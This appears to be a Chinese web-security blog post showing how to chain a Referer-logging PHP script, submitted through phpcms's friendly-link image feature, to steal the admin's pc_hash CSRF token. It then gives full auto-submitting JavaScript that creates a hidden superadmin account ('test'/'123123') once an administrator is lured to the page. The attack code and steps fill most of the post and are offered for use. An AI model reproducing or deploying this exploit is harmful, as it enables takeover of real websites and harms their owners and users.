众所周知phpcms登录后台后,有一个pc_hash作为防范CSRF的TOKEN,且看我怎么利用一个组合技来进行CSRF攻击的。 phpcms安装好后默认允许申请友情链接。而且友情链接分两种:文字链接和图片链接。 其中图片链接,管理员在审核的时候,图片会直接显示后台。而后台url中是包含这个pc_hash的,我们就能在图片的referer里找到这个pc_hash~~岂不妙哉? 利用方法如下: 首先我在本地简单写了一个获得referer的脚本:
<?php $referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; file_put_contents('referer.txt', $referer); ?>
然后把这个脚本作为图片地址,申请友链: gum = function(){ var u = { 'version':'1140213', 'domain':'{{domain}}', 'backinfo':{}, 'author': 'https://github.com/quininer/gum' }; u.e = function(code){try{return eval(code)}catch(e){return ''}}; u.name = function(names){ return document.getElementsByTagName(names); }; u.html = function(){ return u.name('html')[0] ||document.write('<html>') ||u.name('html')[0]; }; u.addom = function(html, doming, hide){ (!doming)&&(doming = u.html()); var temp = document.createElement('span'); temp.innerHTML = html; var doms = temp.children[0]; (hide)&&(doms.style.display = 'none'); doming.appendChild(doms); return doms; }; u.post = function(url, data){ var form = u.addom("<form method='POST'>", u.html(), true); form.action = url; for(var name in data){ var input = document.createElement('input'); input.name = name; input.value = data[name]; form.appendChild(input); }; form.submit(); }; return u; }(); gum.post('http://target/index.php?m=admin&c=admin_manage&a=add', { 'info[username]': 'test', 'info[password]': '123123', 'info[pwdconfirm]': '123123', 'info[email]': '123@qq.com', 'info[realname]': '', 'info[roleid]': '1', 'dosubmit': '提交', 'pc_hash': 'lrP5dK' });
把pc_hash修改为你获得的pc_hash,然后将以上代码放在任何html页面中(不限域名),诱使管理员访问,即可为目标站点增加一个用户名为test,密码为123123的超级管理员账户: |
-
上一篇: Yungoucms商业框架sql注入及修复 - 网站安全 - 自学
下一篇: FineCMS v1.x远程代码执行 - 网站安全 - 自学php
还没有人抢沙发呢~